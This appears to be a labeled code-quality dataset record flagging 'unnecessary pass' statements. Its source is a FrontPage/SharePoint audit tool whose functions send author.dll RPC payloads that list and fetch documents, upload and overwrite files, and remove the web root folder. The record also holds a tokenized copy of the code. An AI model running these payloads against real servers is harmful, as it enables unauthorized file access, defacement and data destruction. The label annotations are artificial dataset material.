except KeyError:\n print \"[-] sharepoint load balancing ability could not be determined using HTTP header : X-SharepointHealthScore !\"\n\n\n try:\n dump_g = urllib2.urlopen(name)\n print \"[+] sharepoint is configured with explicit diagnosis (GUID based log analysis) purposes : (%s)\" %dump_f.info()['sprequestguid']\n\n except KeyError:\n print \"[-] sharepoint diagnostics ability could not be determined using HTTP header : SPRequestGuid !\"\n\n except urllib2.HTTPError:\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass", "metadata": "root.dump_sharepoint_headers", "header": "['module', '___EOS___']", "index": 269 }, { "content": "def frontpage_rpc_check(name):\n headers = {\n 'MIME-Version': '4.0',\n 'User-Agent': 'MSFrontPage/4.0',\n 'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',\n 'Connection': 'Keep-Alive'}\n\n exp_target_list = ['_vti_bin/shtml.exe/_vti_rpc','_vti_bin/shtml.dll/_vti_rpc']\n data = \"method= server version\"\n #data=\"method=list+services:4.0.2.0000&service_name=\"\n #for item in exploit_targets:\n\n for item in exp_target_list:\n destination = name + \"/\" + item\n\n print \"[+] Sending HTTP GET request to - (%s) for verifying whether RPC is listening !\" %destination\n try:\n req = urllib2.Request(destination)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] target is listening on frontpage RPC - (%s) !\\n\" % response.getcode()\n else:\n print \"[-] target is not listening on frontpage RPC - (%s) !\\n\" %response.getcode()\n\n except urllib2.URLError as e:\n print \"[-] url error ! - %s\" % e.code\n pass\n\n except httplib.BadStatusLine as h:\n print \"[-] server responds with bad status !\"\n pass\n\n\n\n print \"[+] Sending HTTP POST request to retrieve software version - (%s)\" %destination\n try:\n req = urllib2.Request(destination,data,headers)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] target accepts the request - (%s) | (%s) !\\n\" % (data, response.getcode())\n filename = \"__version__.txt\" + \".html\"\n version = open(filename, 'a')\n version.write(response.read())\n print \"[+] check file for contents - (%s) \\n\" %filename\n else:\n print \"[-] target fails to accept request - (%s) | (%s) !\\n\" %(data,response.getcode())\n\n except urllib2.URLError as e:\n print \"[-] url error, seems like authentication is required or server failed to handle request! - - %s\" % e.code\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass\n\n print \"[*] ---------------------------------------------------------------------------------------\"", "metadata": "root.frontpage_rpc_check", "header": "['module', '___EOS___']", "index": 303 }, { "content": "def frontpage_service_listing(name):\n headers = {\n 'MIME-Version': '4.0',\n 'User-Agent': 'MSFrontPage/4.0',\n 'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',\n 'Connection': 'Keep-Alive'}\n\n service_target_list = ['_vti_bin/shtml.exe/_vti_rpc','_vti_bin/shtml.dll/_vti_rpc']\n data=['method=list+services:3.0.2.1076&service_name=','method=list+services:4.0.2.471&service_name=','method=list+services:4.0.2.0000&service_name=','method=list+services:5.0.2.4803&service_name=','method=list+services:5.0.2.2623&service_name=','method=list+services:6.0.2.5420&service_name=']\n\n for item in service_target_list:\n destination = name + \"/\" + item\n\n print \"[+] Sending HTTP POST request to retrieve service listing - (%s)\" %destination\n try:\n for entry in data:\n req = urllib2.Request(destination,entry,headers)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] target accepts the request - (%s) | (%s) !\" % (entry, response.getcode())\n filename = \"__service-list__.txt\" + entry + \".html\"\n service_list = open(filename, 'a')\n service_list.write(response.read())\n print \"[+] check file for contents - (%s) \\n\" %filename\n else:\n print \"[-] target fails to accept request - (%s) | (%s) !\\n\" %(data,response.getcode())\n\n except urllib2.URLError as e:\n print \"[-] url error, seems like authentication is required or server failed to handle request! - - %s\" % e.code\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass\n\n print \"[*] ---------------------------------------------------------------------------------------\"", "metadata": "root.frontpage_service_listing", "header": "['module', '___EOS___']", "index": 361 }, { "content": "def frontpage_config_check(name):\n headers = {\n 'MIME-Version': '4.0',\n 'User-Agent': 'MSFrontPage/4.0',\n 'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',\n 'Connection': 'Keep-Alive'}\n\n # running some standard commands to retrieve files and configuration checks\n # frontpage versions validated are: 3.0.2.1706 , 4.0.2.4715 , 5.0.2.4803, 5.0.2.2623 , 6.0.2.5420\n # version : major ver=n.minor ver=n.phase ver=n.verincr=v\n\n\n front_exp_target = '_vti_bin/_vti_aut/author.dll'\n payloads = ['method=open service:3.0.2.1706&service_name=/', 'method=list documents:3.0.2.1706&service_name=&listHiddenDocs=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=false&listIncludeParent=true&listDerivedT=false&listBorders=false&initialUrl=','method=getdocument:3.0.2.1105&service_name=&document_name=about/default.htm&old_theme_html=false&force=true&get_option=none&doc_version=','method=open service:4.0.2.4715&service_name=/', 'method=list documents:4.0.2.4715&service_name=&listHiddenDocs=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=false&listIncludeParent=true&listDerivedT=false&listBorders=false&initialUrl=','method=getdocument:4.0.2.4715&service_name=&document_name=about/default.htm&old_theme_html=false&force=true&get_option=none&doc_version=','method=open service:5.0.2.4803&service_name=/', 'method=list documents:5.0.2.4803&service_name=&listHiddenDocs=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=false&listIncludeParent=true&listDerivedT=false&listBorders=false&initialUrl=','method=getdocument:5.0.2.4803&service_name=&document_name=about/default.htm&old_theme_html=false&force=true&get_option=none&doc_version=','method=open service:5.0.2.2623&service_name=/', 'method=list documents:5.0.2.2623&service_name=&listHiddenDocs=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=false&listIncludeParent=true&listDerivedT=false&listBorders=false&initialUrl=','method=getdocument:5.0.2.2623&service_name=&document_name=about/default.htm&old_theme_html=false&force=true&get_option=none&doc_version=','method=open service:6.0.2.5420&service_name=/', 'method=list documents:6.0.2.5420&service_name=&listHiddenDocs=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=false&listIncludeParent=true&listDerivedT=false&listBorders=false&initialUrl=','method=getdocument:6.0.2.5420&service_name=&document_name=about/default.htm&old_theme_html=false&force=true&get_option=none&doc_version=']\n\n\n for item in payloads:\n destination = name + \"/\" + front_exp_target\n print \"[+] Sending HTTP POST request to [open service | listing documents] - (%s)\" %destination\n try:\n req = urllib2.Request(destination,item,headers)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] target accepts the request - (%s) | (%s) !\\n\" % (item, response.getcode())\n filename = \"__author-dll-config__.txt\" + \".html\"\n service_list = open(filename, 'a')\n service_list.write(response.read())\n print \"[+] check file for contents - (%s) \\n\" %filename\n\n else:\n print \"[-] target fails to accept request - (%s) | (%s) !\\n\" %(item,response.getcode())\n\n except urllib2.URLError as e:\n print \"[-] url error, seems like authentication is required or server failed to handle request! - %s \\n[-] payload [%s]\\n\" % (e.code,item)\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass", "metadata": "root.frontpage_config_check", "header": "['module', '___EOS___']", "index": 399 }, { "content": "def frontpage_remove_folder(name):\n headers = {\n 'MIME-Version': '4.0',\n 'User-Agent': 'MSFrontPage/4.0',\n 'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',\n 'Connection': 'Keep-Alive'}\n\n # running some standard commands to remove \"/\" folder from the web server using author.dll\n # frontpage versions validated are: 3.0.2.1706 , 4.0.2.4715 , 5.0.2.4803, 5.0.2.2623 , 6.0.2.5420\n\n file_exp_target = '_vti_bin/_vti_aut/author.dll'\n payloads = ['method=remove+documents:3.0.2.1786&service_name=/','method=remove+documents:4.0.2.4715&service_name=/','method=remove+documents:5.0.3.4803&service_name=/','method=remove+documents:5.0.2.4803&service_name=/','method=remove+documents:6.0.2.5420&service_name=/']\n\n for item in payloads:\n destination = name + \"/\" + file_exp_target\n print \"[+] Sending HTTP POST request to remove '/' directory to - (%s)\" %destination\n try:\n req = urllib2.Request(destination,item,headers)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] folder removed successfully - (%s) | (%s) !\\n\" % (item, response.getcode())\n for line in response.readlines():\n print line\n else:\n print \"[-] fails to remove '/' folder at - (%s) | (%s) !\\n\" %(item,response.getcode())\n\n except urllib2.URLError as e:\n print \"[-] url error, seems like authentication is required or server failed to handle request! - %s \\n[-] payload [%s]\\n\" % (e.code,item)\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass", "metadata": "root.frontpage_remove_folder", "header": "['module', '___EOS___']", "index": 441 }, { "content": "def file_upload_check(name):\n headers = {\n 'MIME-Version': '4.0',\n 'User-Agent': 'MSFrontPage/4.0',\n 'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',\n 'Connection': 'Keep-Alive'}\n\n # running some standard commands to upload file to web server using author.dll\n # frontpage versions validated are: 3.0.2.1706 , 4.0.2.4715 , 5.0.2.4803, 5.0.2.2623 , 6.0.2.5420\n\n os.system(\"echo 'Sparty Testing !' > sparty.txt\")\n file_exp_target = '_vti_bin/_vti_aut/author.dll'\n payloads = ['method=put document:3.0.2.1706&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:4.0.2.4715&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:5.0.2.2623&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:5.0.2.4823&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:6.0.2.5420&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false']\n\n for item in payloads:\n destination = name + \"/\" + file_exp_target\n print \"[+] Sending HTTP POST request for uploading file to - (%s)\" %destination\n try:\n req = urllib2.Request(destination,item,headers)\n response = urllib2.urlopen(req)\n if response.getcode() == 200:\n print \"[+] file uploaded successfully - (%s) | (%s) !\\n\" % (item, response.getcode())\n for line in response.readlines():\n print line\n else:\n print \"[-] file fails to upload at - (%s) | (%s) !\\n\" %(item,response.getcode())\n\n except urllib2.URLError as e:\n print \"[-] url error, seems like authentication is required or server failed to handle request! - %s \\n[-] payload [%s]\\n\" % (e.code,item)\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass", "metadata": "root.file_upload_check", "header": "['module', '___EOS___']", "index": 478 } ]
[ { "span": "pass", "start_line": 164, "start_column": 8, "end_line": 164, "end_column": 12 }, { "span": "pass", "start_line": 182, "start_column": 24, "end_line": 182, "end_column": 28 }, { "span": "pass", "start_line": 257, "start_column": 16, "end_line": 257, "end_column": 20 }, { "span": "pass", "start_line": 261, "start_column": 12, "end_line": 261, "end_column": 16 }, { "span": "pass", "start_line": 298, "start_column": 15, "end_line": 298, "end_column": 19 }, { "span": "pass", "start_line": 329, "start_column": 16, "end_line": 329, "end_column": 20 }, { "span": "pass", "start_line": 333, "start_column": 16, "end_line": 333, "end_column": 20 }, { "span": "pass", "start_line": 352, "start_column": 12, "end_line": 352, "end_column": 16 }, { "span": "pass", "start_line": 356, "start_column": 12, "end_line": 356, "end_column": 16 }, { "span": "pass", "start_line": 390, "start_column": 16, "end_line": 390, "end_column": 20 }, { "span": "pass", "start_line": 394, "start_column": 16, "end_line": 394, "end_column": 20 }, { "span": "pass", "start_line": 433, "start_column": 24, "end_line": 433, "end_column": 28 }, { "span": "pass", "start_line": 437, "start_column": 24, "end_line": 437, "end_column": 28 }, { "span": "pass", "start_line": 469, "start_column": 24, "end_line": 469, "end_column": 28 }, { "span": "pass", "start_line": 473, "start_column": 24, "end_line": 473, "end_column": 28 }, { "span": "pass", "start_line": 507, "start_column": 24, "end_line": 507, "end_column": 28 }, { "span": "pass", "start_line": 511, "start_column": 24, "end_line": 511, "end_column": 28 } ]
[]
1
true
[ "[CLS]_", "Un", "necessar", "y_", "pass_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "target", "\\u", "information_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "urllib2_", "._", "urlopen_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "fetch", "ing", " ", "informati", "on", " ", "from", " ", "the", " ", "give", "n", " ", "target", " ", ":", " ", "(%", "s", ")\"_", "%_", "(_", "headers_", "._", "geturl", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "target", " ", "respond", "ed", " ", "with", " ", "HTTP", " ", "code", ":", " ", "(%", "s", ")\"_", "%_", "headers_", "._", "getco", "de_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "target", " ", "is", " ", "runn", "ing", " ", "server", ":", " ", "(%", "s", ")\"_", "%_", "headers_", "._", "info_", "(_", ")_", "[_", "'", "server", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", "as_", "h_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", " ", "occure", "d", " ", "-", " ", "(%", "s", ")\"_", "%_", "h_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "audit_", "(_", "target_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "element_", "in_", "target_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "handle_", "=_", "urllib2_", "._", "urlopen_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "handle_", "._", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "code_", "=_", "handle_", "._", "getco", "de_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "(%", "s", ")", " ", "-", " ", "(%", "d", ")\"_", "%_", "(_", "element_", ",_", "response", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", "as_", "h_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "(%", "s", ")", " ", "-", " ", "(%", "d", ")\"_", "%_", "(_", "element_", ",_", "h_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fingerprint", "\\u", "front", "page_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "enum", "\\u", "nix", "_", "=_", "[_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "author", ".", "exe", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "adm", "/", "admin", ".", "exe", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "exe", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "enum", "\\u", "win_", "=_", "[_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "author", ".", "dll", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "dv", "ws", "sr", ".", "dll", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "adm", "/", "admin", ".", "dll", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "dll", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "build", "\\u", "enum", "\\u", "nix", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "build", "\\u", "enum", "\\u", "win_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "enum", "\\u", "nix", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "build", "\\u", "enum", "\\u", "nix", "_", "._", "append_", "(_", "name_", "+_", "\"/\"_", "+_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "entry_", "in_", "build", "\\u", "enum", "\\u", "nix", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "info_", "=_", "urllib2_", "._", "urlopen_", "(_", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "info_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "front", " ", "page", " ", "is", " ", "tested", " ", "as", " ", ":", " ", "nix", " ", "version", " ", "|", " ", " ", "(%", "s", ")", " ", "|", " ", "(%", "d", ")\"_", "%_", "(_", "entry_", ",_", "info_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "item_", "in_", "enum", "\\u", "win_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "build", "\\u", "enum", "\\u", "win_", "._", "append_", "(_", "name_", "+_", "\"/\"_", "+_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "entry_", "in_", "build", "\\u", "enum", "\\u", "win_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "info_", "=_", "urllib2_", "._", "urlopen_", "(_", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "info_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "front", " ", "page", " ", "is", " ", "tested", " ", "as", " ", ":", " ", "windows", " ", "version", " ", "|", " ", " ", "(%", "s", ")", " ", "|", " ", "(%", "d", ")\"_", "%_", "(_", "entry_", ",_", "info_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "front", "end", "\\u", "version_", "=_", "name_", "+_", "\"/", "\\u", "vt", "i", "\\u", "inf", ".", "html", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", "=_", "urllib2_", "._", "urlopen_", "(_", "front", "end", "\\u", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "extracti", "ng", " ", "front", "page", " ", "version", " ", "from", " ", "default", " ", "file", " ", ":", " ", "(%", "s", "):\"_", "%_", "re_", "._", "findall_", "(_", "r", "'", "FP", "Version", "=(", ".*)", "'_", ",_", "version_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "fail", "ed", " ", "to", " ", "extract", " ", "the", " ", "version", " ", "of", " ", "front", "page", " ", "from", " ", "default", " ", "file", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "*]", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "---\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dump", "\\u", "share", "point", "\\u", "headers_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dump", "\\u", "s_", "=_", "urllib2_", "._", "urlopen_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "configur", "ed", " ", "share", "point", " ", "version", " ", "is", " ", " ", ":", " ", "(%", "s", ")\"_", "%_", "dump", "\\u", "s_", "._", "info_", "(_", ")_", "[_", "'", "micros", "oft", "share", "point", "team", "service", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "share", "point", " ", "version", " ", "coul", "d", " ", "not", " ", "be", " ", "extracted", " ", "usi", "ng", " ", "HTTP", " ", "header", " ", ":", " ", " ", "Micro", "soft", "Share", "point", "Tea", "m", "Service", "s", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dump", "\\u", "f_", "=_", "urllib2_", "._", "urlopen_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "share", "point", " ", "is", " ", "configur", "ed", " ", "with", " ", "load", " ", "balancing", " ", "capab", "ilit", "y", " ", ":", " ", "(%", "s", ")\"_", "%_", "dump", "\\u", "f_", "._", "info_", "(_", ")_", "[_", "'", "x", "-", "share", "point", "health", "score", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "share", "point", " ", "load", " ", "balancing", " ", "abilit", "y", " ", "coul", "d", " ", "not", " ", "be", " ", "dete", "rmin", "ed", " ", "usi", "ng", " ", "HTTP", " ", "header", " ", ":", " ", "X", "-", "Share", "point", "Health", "Score", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dump", "\\u", "g_", "=_", "urllib2_", "._", "urlopen_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "share", "point", " ", "is", " ", "configur", "ed", " ", "with", " ", "explicit", " ", "diagnos", "is", " ", "(", "GUID", " ", "based", " ", "log", " ", "analys", "is", ")", " ", "purpose", "s", " ", ":", " ", "(%", "s", ")\"_", "%_", "dump", "\\u", "f_", "._", "info_", "(_", ")_", "[_", "'", "spr", "eque", "stg", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "share", "point", " ", "diagnostics", " ", "abilit", "y", " ", "coul", "d", " ", "not", " ", "be", " ", "dete", "rmin", "ed", " ", "usi", "ng", " ", "HTTP", " ", "header", " ", ":", " ", "SPR", "eque", "st", "Guid", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "front", "page", "\\u", "rpc", "\\u", "check_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", 